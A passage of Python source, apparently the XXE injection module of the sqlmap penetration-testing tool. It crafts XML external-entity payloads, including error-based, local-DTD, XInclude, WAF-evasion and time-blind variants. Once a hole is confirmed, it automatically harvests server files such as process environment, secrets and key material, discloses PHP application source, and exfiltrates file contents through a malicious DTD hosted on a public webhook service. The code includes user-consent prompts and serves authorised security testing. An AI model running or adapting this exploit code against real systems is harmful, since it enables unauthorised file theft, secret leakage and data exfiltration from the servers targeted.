p = p[len("file://"):]
p = p.replace("\\", "/")
if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...'
return p.lstrip("/")
return "/" + p.lstrip("/")
def _cleanBody():
"""Return the original request body with sqlmap's injection marks removed.
Order matters: drop the injected custom marks first (any literal '*' from the
original body was already escaped to ASTERISK_MARKER by target processing),
then restore those escaped asterisks."""
global _MARKER
_MARKER = None
data = getText(conf.data or "")
mark = kb.customInjectionMark or "\x00"
if kb.get("processUserMarks") and mark in data:
# user chose the injection point explicitly - honour it as the SOLE spot
_MARKER = "xxemark%s" % randomStr(10, lowercase=True)
data = data.replace(mark, _MARKER, 1).replace(mark, "")
else:
data = data.replace(mark, "")
data = data.replace(ASTERISK_MARKER, "*")
return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct
def _rootName(xml):
stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL)
stripped = re.sub(r"<!--.*?-->", "", stripped, flags=re.DOTALL)
stripped = re.sub(r"<!DOCTYPE[^>]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL)
match = _ROOT_RE.search(stripped)
return match.group(1) if match else None
def _auxHeaders():
"""Send an XML content-type unless the user already pinned one (via -H/-r)."""
for name, _ in (conf.httpHeaders or []):
if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower():
return None
return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"}
def _send(body):
"""Issue one request with a fully-crafted XML body, preserving sqlmap's normal
request machinery (URL, cookies, headers, proxy, delay) for everything else."""
if conf.delay:
time.sleep(conf.delay)
if _MARKER and not isinstance(body, bytes) and _MARKER in body:
body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body))
page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True)
return page or ""
except Exception as ex:
logger.debug("XXE probe request failed: %s" % getUnicode(ex))
return ""
def _buildDoctype(xml, rootName, internalSubset):
"""Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`.
A document may already declare a DOCTYPE - injecting a second one is invalid
XML and every parser rejects it, so we splice into the existing declaration
instead (into its internal subset, or by adding one to a subset-less DOCTYPE)."""
existing = re.search(r"<!DOCTYPE\s+[^>\[]*\[", xml)
if existing:
# Splice our declarations into the existing internal subset.
insertAt = xml.index('[', existing.start()) + 1
return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:]
subsetless = re.search(r"<!DOCTYPE\s+[^>\[]*>", xml)
if subsetless:
# DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"):
# add an internal subset before its closing '>' (both may legally coexist).
close = xml.index('>', subsetless.start())
return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:]
doctype = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
if prolog:
end = prolog.end()
return xml[:end] + "\n" + doctype + xml[end:]
return doctype + "\n" + xml
def _placeRef(xml, snippet, attrs=False):
"""Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf
text node - not just the first - so detection does not depend on which field the
application happens to reflect. When `attrs` is set (internal-entity tier only),
also seed existing attribute values, since a general internal entity legally
expands inside an attribute (external entity refs do NOT - never seed attributes
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
injecting just before the root's closing tag when there is no text node at all."""
if _MARKER and _MARKER in xml:
return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
head, tail = xml[:start], xml[start:]
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
if attrs:
# Seed every attribute value except namespace declarations (xmlns / xmlns:*),
# whose rewriting would break the document. Only touches simple, entity-free
# values (the '[^"\'<>&]*' class) so we never corrupt existing markup.
tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''',
lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail)
count += acount
if count:
return head + tail
rootName = _rootName(xml)
if rootName:
close = "</%s>" % rootName
if close in xml:
idx = xml.rindex(close)
return xml[:idx] + snippet + xml[idx:]
# self-closing root: <root/> -> <root>snippet</root>
selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml)
if selfClose:
tag = selfClose.group(0)
opened = tag[:-2] + ">" + snippet + close
return xml[:selfClose.start()] + opened + xml[selfClose.end():]
return xml
def _fingerprint(page):
page = getUnicode(page or "")
for family, regex in XXE_ERROR_SIGNATURES:
if re.search(regex, page):
return family
return None
def _echoed(page):
"""True when the response mirrors our markup back (a debug/echo endpoint that
never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration
we send, an echo would otherwise look like a genuine reflected/error hit. We match
the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and
percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is
still recognised as an echo regardless of whether decodePage normalised it."""
page = getUnicode(page or "").lower()
for kw in ("!doctype", "!entity"):
for lt in ("<", "&lt;", "&#60;", "&#x3c;", "%3c", "\\u003c"):
if lt + kw in page:
return True
return False
def _report(title, payload):
if conf.beep:
beep()
place = conf.method or HTTPMETHOD.POST
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
def _saveFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and
return its local path, or None if it could not be written."""
try:
return dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
return None
def _dumpFileRead(remoteFile, content):
"""Save a single XXE-read file and list it; fall back to a console dump if the
file cannot be written."""
localPath = _saveFileRead(remoteFile, content)
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
def _harvestFiles(xml, rootName):
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
confirmed: pull a curated set of high-value fixed-path files (host identity,
process env/secrets, key material) the way the other non-SQL engines auto-dump
their reachable data. Returns a list of (path, content, payload) for every file
that read back non-empty; unreadable/absent files are silently skipped. Content is
de-duplicated so a parser that resolves every missing path to the same stub cannot
masquerade as many distinct reads."""
harvested = []
seen = set()
for path in XXE_FILE_HARVEST:
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip():
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, payload))
return harvested
def _phpFilterWorks(xml, rootName):
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
requests for it."""
from lib.core.convert import decodeBase64
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
if match and match.group(1).strip():
try:
return bool(getText(decodeBase64(match.group(1).strip())).strip())
except Exception:
pass
return False
def _harvestSource(xml, rootName, harvested):
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
server-side application SOURCE code via php://filter (source is executed, never
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
(running script + working dir) combined with common web roots/source names, and
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
target. Returns a list of (path, content, payload)."""
if not _phpFilterWorks(xml, rootName):
return []
byPath = dict((p, c) for p, c, _ in harvested)
seen = set(getUnicode(c).strip() for c in byPath.values())
candidates = []
dirs = []
environ = getUnicode(byPath.get("/proc/self/environ", ""))
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
cwd = match.group(1).strip() if match else None
if cwd:
dirs.append(cwd)
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
for token in re.split(r"[\x00\s]+", cmdline):
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
if token.startswith("/"):
candidates.append(token) # absolute script path
elif cwd:
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
for directory in dirs:
for name in XXE_SOURCE_NAMES:
candidates.append("%s/%s" % (directory.rstrip("/"), name))
logger.info("attempting application source-code disclosure via php://filter")
result = []
read = set()
for path in candidates:
if path in read:
continue
read.add(path)
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip() and getUnicode(content).strip() not in seen:
seen.add(getUnicode(content).strip())
result.append((path, content, payload))
return result
def _tryInternal(xml, rootName, baseline):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the
app merely mirrors the body without parsing entities)."""
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True)
page = _send(payload)
if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline:
return payload, page
return None, page
def _confirmRead(page, pattern, baseline):
"""Return the first response line that matches a known file-content signature
and is absent from the baseline. The baseline guard is essential: it stops a
generic short reply (e.g. 'received', 'ok') from matching a loose pattern."""
baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines())
for line in getUnicode(page).splitlines():
line = line.strip()
if line and line not in baselineLines and re.search(pattern, line):
return line
return None
def _tryInbandFileRead(xml, rootName, fileName):
"""Read an arbitrary file IN-BAND on a reflective target: place the external
entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
(content, payload) or (None, None)."""
from lib.core.convert import decodeBase64
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
for systemId, isB64 in ((_toSystemId(fileName), False),
("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
page = getUnicode(_send(payload))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
if not match:
continue
data = match.group(1)
if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo
continue
if isB64:
try:
data = getText(decodeBase64(data.strip()))
except Exception:
continue
if data and data.strip():
return data, payload
return None, None
def _tryExternalFile(xml, rootName, baseline):
"""Impact demonstration once XXE is live: read a benign host-identity file via
an external general entity. Returns (systemId, payload) on a confirmed read."""
for systemId, pattern in XXE_IMPACT_FILES:
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
snippet = _confirmRead(_send(payload), pattern, baseline)
if snippet:
return systemId, payload
return None, None
def _tryPhpFilter(xml, rootName, baseline):
"""PHP-only in-band read (base64 via php://filter). Used only as a benign in-band
impact demonstration -> reads /etc/os-release; it deliberately never probes
/etc/passwd here (a specific file is read only on explicit '--file-read')."""
from lib.core.convert import decodeBase64
baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or "")))
for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),):
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=%s">' % (ent, resource)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
page = _send(payload)
for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)):
if token in baselineTokens:
continue
try:
decoded = getText(decodeBase64(token))
except Exception:
continue
if decoded and re.search(pattern, decoded, re.M):
return payload
return None
def _tryError(xml, rootName):
"""T3 error-based: a parameter entity points at a non-existent path carrying
the sentinel. Confirmed when the sentinel surfaces inside a parser error."""
subset = '<!ENTITY %% xxe SYSTEM "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
payload = _buildDoctype(xml, rootName, subset)
page = _send(payload)
if SENTINEL in page and not _echoed(page):
return payload, page
return None, page
def _tryLocalDtd(xml, rootName):
"""T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its
parameter entities to load a sentinel path, and read the sentinel back out of
the resulting parser error - no outbound network required."""
for dtdPath, entName in XXE_LOCAL_DTDS:
subset = (
'<!ENTITY %% local_dtd SYSTEM "%s">\n'
"<!ENTITY %% %s '<!ENTITY &#x25; xxe SYSTEM \"file:///%s/nonexistent\">&#x25;xxe;'>\n"
"%%local_dtd;"
) % (dtdPath, entName, SENTINEL)
payload = _buildDoctype(xml, rootName, subset)
page = _send(payload)
if SENTINEL in page and not _echoed(page):
return payload, page
return None, ""
def _tryErrorExfil(xml, rootName, errorChannel=False):
"""In-band error-based file EXFILTRATION: coerce the parser into an error whose
message embeds the target file's contents (not just a sentinel). Two vehicles:
(a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on
the exfil service -> needs egress to fetch it plus verbose errors, so it is only
attempted when an error channel was already confirmed (else it is pointless and
just burns third-party requests). php://filter base64 carries a whole multi-line
file intact; raw file:// leaks the first line. Returns (content, filename)."""
from lib.core.convert import decodeBase64
fileName = conf.get("fileRead")
if not fileName:
return None, None
marker = randomStr(10, lowercase=True)
# (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser)
reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True),
(_toSystemId(fileName), False))
def _extract(page, isB64):
pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker)
match = re.search(pattern, getUnicode(page))
if not match:
return None
if isB64:
try:
return getText(decodeBase64(match.group(1))) or None
except Exception:
return None
return match.group(1)
# (a) local-DTD repurposing - no egress
for dtdPath, entName in XXE_LOCAL_DTDS:
for systemId, isB64 in reads:
inner = ('<!ENTITY &#x25; file SYSTEM "%s">'
'<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///%s/&#x25;file;&#x27;>">'
'&#x25;eval;&#x25;error;') % (systemId, marker)
subset = '<!ENTITY %% local_dtd SYSTEM "%s">\n<!ENTITY %% %s \'%s\'>\n%%local_dtd;' % (dtdPath, entName, inner)
content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64)
if content:
return content, fileName
# (b) DTD we host on the exfil service - egress + verbose errors (third party):
# skip on a blind target (no error channel) and without explicit OOB consent
if not (errorChannel and _oobConsent()):
return None, None
from lib.request.webhooksite import WebhookSite
wh = WebhookSite()
for systemId, isB64 in reads:
dtd = ('<!ENTITY %% file SYSTEM "%s">\n'
'<!ENTITY %% eval "<!ENTITY &#x25; error SYSTEM \'file:///%s/%%file;\'>">\n'
'%%eval;\n%%error;') % (systemId, marker)
token = wh.newToken(dtd)
if not token:
break
content = _extract(_send(_buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(token))), isB64)
if content:
return content, fileName
return None, None
def _tryXInclude(xml, rootName, baseline):
"""T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as
text. Confirmed when the file content appears in the response (baseline-guarded)."""
for systemId, pattern in XXE_IMPACT_FILES:
snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId
payload = _placeRef(xml, snippet)
confirmed = _confirmRead(_send(payload), pattern, baseline)
if confirmed:
return payload, systemId, confirmed
return None, None, None
def _tryEvasions(xml, rootName, baseline):
"""T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail.
Each transform keeps the payload semantically identical while defeating a
common naive filter, so a reachable-but-filtered parser can still be caught.
Returns (title, payload) on a confirmed hit."""
# (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while
# ASCII byte-signature WAFs (grepping for "<!ENTITY"/"SYSTEM") miss it.
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike
if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline:
return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body)
# (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist
# the SYSTEM identifier; the second literal is still the resolved system id.
subset = '<!ENTITY %% xxe PUBLIC "-//sqlmap//XXE//EN" "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
body = _buildDoctype(xml, rootName, subset)
page = _send(body)
if SENTINEL in page and not _echoed(page):
return "Error-based via PUBLIC keyword (WAF evasion)", body
return None, None
def _timed(body, timeout):
"""One request, returning wall-clock seconds. ignoreTimeout keeps a stalled
parser from raising, so the elapsed time itself is the signal."""
start = time.time()
try:
Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(),
raise404=False, silent=True, ignoreTimeout=True, timeout=timeout)
except Exception:
pass
return time.time() - start
def _tryTimeBlind(xml, rootName):
"""T6 last-resort blind detection with NO collector: an external parameter
entity aimed at a non-routable TEST-NET host stalls a fetching parser on the
connection. Confirmed only on a large, reproducible delay measured against a
DTD-processing control (an internal parameter entity, no fetch) - so DTD
overhead alone cannot trip it and only the outbound-fetch stall counts."""
control = _buildDoctype(xml, rootName, '<!ENTITY %% c "x">\n%%c;')
baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout))
threshold = baseline + XXE_TIME_THRESHOLD
probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3)
# Bound each stalled probe: the per-call timeout kwarg does not reach a pooled
# socket, so cap via conf.timeout (the value the connection actually uses) and
# drop conf.retries so a stall is not re-sent. Restored in finally.
_timeout, _retries = conf.timeout, conf.retries
conf.timeout, conf.retries = probeTimeout, 0
try:
subset = '<!ENTITY %% x SYSTEM "http://%s/%s">\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL)
payload = _buildDoctype(xml, rootName, subset)
if _timed(payload, probeTimeout) < threshold:
return None
if _timed(payload, probeTimeout) < threshold: # must reproduce
return None
return payload
finally:
conf.timeout, conf.retries = _timeout, _retries
def _oobEnabled():
"""False when the user opted out of OOB entirely (`--oob-server none`)."""
return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false")
def _oobConsent():
"""True only when the user has opted into contacting a third-party OOB service:
either explicitly (`--oob-server <host>`) or by answering the one-time prompt,
which defaults to NO - so '--batch' never silently phones a public service."""
global _OOB_CONSENT
if not _oobEnabled():
return False
if conf.get("oobServer"):
return True
if _OOB_CONSENT is None:
message = "do you want sqlmap to use a public out-of-band service "
message += "(interactsh/webhook.site) for blind XXE? [y/N] "
_OOB_CONSENT = readInput(message, default='N', boolean=True)
return _OOB_CONSENT
def _tryOobExfil(xml, rootName):
"""T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on
a public content+logging service (webhook.site), point the target's parser at
it, and read the file it ships back out. The DTD uses the classic nested
parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64
so any file survives the callback URL. The DTD-fetch itself doubles as blind
detection. Reads conf.fileRead if given, else a benign default. Returns a dict
{payload, filename, content, detected} or None if the service is unusable."""
from lib.core.convert import decodeBase64
from lib.request.webhooksite import WebhookSite
fileName = conf.get("fileRead")
if not fileName:
return None
wh = WebhookSite()
exfilToken = wh.newToken()
if not exfilToken:
logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)")
return None
marker = randomStr(10, lowercase=True)
# Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a
# space and mangle '/'/'=', corrupting the payload. In the path those bytes survive
# and webhook.site logs the raw request URL, which we regex back out.
exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker)
dtd = ('<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n'
'<!ENTITY %% eval "<!ENTITY &#x25; exfil SYSTEM \'%s\'>">\n'
'%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl)
dtdToken = wh.newToken(dtd)
if not dtdToken:
return None
singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint)
payload = _buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(dtdToken))
_send(payload)
content, detected = None, False
pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker))
for _ in range(OOB_POLL_ATTEMPTS):
time.sleep(OOB_POLL_DELAY)
for record in wh.captured(exfilToken):
match = pattern.search(getText(record.get("url") or ""))
if match:
try:
content = getText(decodeBase64(match.group(1)))
except Exception:
content = match.group(1)
break
if content:
break
if not detected and wh.captured(dtdToken):
detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil
if not detected:
detected = bool(wh.captured(dtdToken))
return {"payload": payload, "filename": fileName, "content": content, "detected": detected}
def _tryOob(xml, rootName):
"""T7 blind confirmation via an out-of-band collector (interactsh): an external
parameter entity points at a unique callback URL. If the target's parser fetches
it (or even just resolves its DNS), the collector records the interaction and we
poll it back - definitive proof of blind XXE with egress, and it names the
channel (HTTP vs DNS-only). Returns (payload, protocol) or None."""
from lib.request.interactsh import Interactsh, hasCrypto
if not hasCrypto():
logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)")
return None
client = Interactsh(server=conf.get("oobServer"))
if not client.registered:
logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)")
return None
singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server)
try:
url = client.url()
subset = '<!ENTITY %% oob SYSTEM "%s">\n%%oob;' % url
payload = _buildDoctype(xml, rootName, subset)
_send(payload)
interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY)
if interactions:
protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions))
return payload, ", ".join(protocols)
finally:
client.close()
return None
def xxeScan():
global SENTINEL, _OOB_CONSENT
SENTINEL = randomStr(length=12, lowercase=True)
_OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
logger.debug(debugMsg)
xml = _cleanBody()
if not _looksXml(xml):
logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')")
return
rootName = _rootName(xml)
if not rootName:
logger.error("could not locate the document root element in the XML body")
return
logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName)
baseline = _send(xml)
found = False # an actual impact/oracle (file read, error-based, XInclude, blind)
expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search)
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
# then emit a SINGLE report block with the strongest confirmed vector and its real
# payload (one report per finding, as with the other non-SQL engines). The internal
# expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
if conf.get("fileRead"):
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content)
else:
# No targeted '--file-read': proactively harvest a curated set of high-value
# files (data stays in the response, no third party) - the XXE analogue of
# the automatic dumping the other non-SQL engines do once confirmed.
harvested = _harvestFiles(xml, rootName)
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
# follow-up: server-side application source disclosure (php://filter)
harvested += _harvestSource(xml, rootName, harvested)
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested:
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
localPath = _saveFileRead(path, content)
if localPath:
saved.append(localPath)
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
if saved:
conf.dumper.rFile(saved)
else:
# Harvest read nothing (content relocated in the response, or only benign
# host-identity is exposed): fall back to the pattern-based impact proof
# so file-read impact is still confirmed.
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
if not systemId:
readPayload = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if readPayload else None
if systemId:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
if not found:
# external entities are disabled (only internal expansion is reachable):
# report that weaker-but-real finding with its actual payload
_report("In-band DTD/internal entity expansion", payload)
# T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is
# skipped then - the file-read *impact* tiers below still run to try to upgrade.
errorChannel = False
if not found and not expansionSeen:
payload, page = _tryError(xml, rootName)
if payload:
found = errorChannel = True
backend = _fingerprint(page) or "Generic XML"
logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend)
_report("Error-based (parameter entity, back-end: '%s')" % backend, payload)
# T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected)
if not found and not expansionSeen:
payload, page = _tryLocalDtd(xml, rootName)
if payload:
found = errorChannel = True
backend = _fingerprint(page) or "Generic XML"
logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)")
_report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload)
# T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request.
# The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs
# both a confirmed error channel (pointless on a blind target) and OOB consent.
if conf.get("fileRead"):
content, fileName = _tryErrorExfil(xml, rootName, errorChannel)
if content:
found = True
logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName)
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
_dumpFileRead(fileName, content)
# T4: XInclude fallback (no DOCTYPE/entity control needed)
if not found:
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline)
if payload:
found = True
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
_report("XInclude file read ('%s')" % systemId, payload)
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
# variant re-detects internal-entity reflection, so it is redundant (and mislabels
# as 'evasion') once reflection was already seen - skip it then.
if not found and not expansionSeen:
title, payload = _tryEvasions(xml, rootName, baseline)
if title:
found = True
logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower())
_report(title, payload)
# T6: time-based blind (no collector, no third party) - external entity to a non-routable host.
# Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow)
# blind tiers add nothing and would needlessly stall.
if not found and not expansionSeen:
logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow")
payload = _tryTimeBlind(xml, rootName)
if payload:
found = True
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
_report("Time-based blind (external entity to non-routable host)", payload)
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only
# (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt).
# Low-impact callback confirmation is the default; actual file exfiltration is
# attempted only when the user explicitly asked for a file via '--file-read'.
if not found and not expansionSeen and _oobConsent():
if conf.get("fileRead"):
exfil = _tryOobExfil(xml, rootName)
if exfil and (exfil["content"] or exfil["detected"]):
found = True
if exfil["content"]:
logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"])
_report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
_dumpFileRead(exfil["filename"], exfil["content"])
else:
logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)")
_report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
else:
result = _tryOob(xml, rootName)
if result:
payload, protocol = result
found = True
logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol)
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
if not found:
if expansionSeen:
# in-band entity processing is real, but no external-entity/blind oracle was reachable
# (typically external entities disabled) - report honestly rather than overstate impact
logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established")
logger.info("XXE scan complete")
return
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
# from a merely non-reflecting one so the user knows why it did not fire.
probe = _send(_buildDoctype(xml, rootName, '<!ENTITY %% p SYSTEM "file:///%s">%%p;' % SENTINEL))
if re.search(XXE_HARDENED_REGEX, getUnicode(probe)):
logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)")
else:
backend = _fingerprint(probe)
if backend:
logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend)
logger.warning("the XML body does not appear to be injectable via XXE")
return
logger.info("XXE scan complete")

View file

